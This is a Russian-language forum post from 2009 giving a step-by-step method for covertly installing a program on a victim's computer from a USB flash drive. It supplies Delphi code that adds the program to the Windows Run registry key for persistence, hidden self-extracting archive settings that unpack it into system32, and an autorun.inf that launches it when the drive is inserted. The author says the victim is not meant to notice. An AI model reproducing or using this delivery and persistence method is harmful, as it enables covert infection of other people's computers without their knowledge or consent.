Показать сообщение отдельно

  #2  
Старый 08.11.2009, 11:43
OPF_Nik
Познающий
Регистрация: 07.11.2009
Сообщений: 36
С нами: 8690006

Репутация: 0
По умолчанию

Я делаю так:

1. Сначало надо подготовить прогу)
Для этого в ее коде для начало в разделе Uses добовляем модуль "registry"
Затем в OnCreate формы пишем вот этот код:


var
reg: Tregistry;

begin
reg:= Tregistry.Create;
reg.RootKey:= HKEY_LOCAL_MACHINE;
reg.OpenKey('Software', true);
reg.OpenKey('Microsoft', true);
reg.OpenKey('Windows', true);
reg.OpenKey('CurrentVersion', true);
reg.OpenKey('Run', true);
reg.WriteString('sstt', Application.ExeName);
reg.CloseKey;
end:

Обьясню для новичков)) Данный код прописывает себя в реестре автозагрузке)) тоесть куда бы вы не поместитили прогу она сама себя запишет в авторан))

2.Теперь перейдем не посредсвенно к запуску с флешки)) Наш цель состоит в том что бы когда флешка была подключина к порту USB она автоматически копировалась на жесткий диск) причем так что бы этого не видела жертва))

Дальше делаем следующию операцию:
Нажимай правую кнопку на нашей проге, затем "добавить в архив..." Теперь надо поменять пару настроек:

1. ставим галочку напротив пункта:"Создать SFX арив
2. Потом выбираем вкладку дополнительно и нажимаем на : "Параметры SFX"
3. В "Путь для распоковки" указывем путь где вы хотите что бы располагалась ваша прога)) я указал:
C:\WINDOWS\system32
4. В "Выполнить после распоковки" пишем опять же:
C:\WINDOWS\system32 ,но только теперь дабовляем нашу прогу)) допустим что она называеться:
"proga.exe", тогда в итоге получиться:
C:\WINDOWS\system32\proga.exe
5. Далее переходим на на закладку"Режимы"
и ставим галочку рядом с "Скрыть все"
6. Далее нажимаем "ок"))

Осталось только сделать что бы наш архив запустилься)) для этого в корне с флешкой создаем файл "autorun.inf" это можно сделать при помощи блокнота))
Далее открываем все с помощью того же блокнота это файл и встовляем туда это:
[autorun]
icon=icons\drive.ico
shellexecute=proga.exe
Сохраняем и закрываем блокнот!)

Все, подведем итог:

Когда наша флешка подключаеться с USB, то запускаеться наш архив "proga.sfx.exe" благодоря:
"autorun.inf" После чего наш архив распоковывает и запускает нашу прогу(причем на экране не чего не происходит) Так же при этом запуске программа прописывает себе а автозагрузке)) Все файл на компьютере и запускаеться вместе с системой))

P.S для модераторов: статья обьянясняет как запустить с флешки програму!! так что прозьба не банить!)Так как статья написана в тему, если возникнут какие нибудь проблемы прозьба сообщить мне, и я их с удовольствием исправлю!)


Кому что не понятно или есть свои предложения пишите в личку!!!

Последний раз редактировалось OPF_Nik; 13.11.2009 в 21:44..
 
Ответить с цитированием